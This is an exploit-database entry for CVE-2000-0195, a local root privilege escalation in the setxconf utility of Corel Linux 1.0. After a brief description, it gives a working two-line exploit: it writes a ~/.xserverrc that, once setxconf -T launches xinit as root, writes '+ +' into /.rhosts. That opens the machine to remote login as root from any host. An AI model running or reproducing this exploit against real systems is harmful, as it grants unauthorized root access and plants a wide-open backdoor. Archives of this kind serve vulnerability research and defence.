Corel Linux OS 1.0 - 'setxconf' Local Privilege Escalation



EKU-ID: 25354 CVE: CVE-2000-0195;OSVDB-1231 OSVDB-ID:
Author: suid Published: 2000-02-24 Verified: Verified
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source: https://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts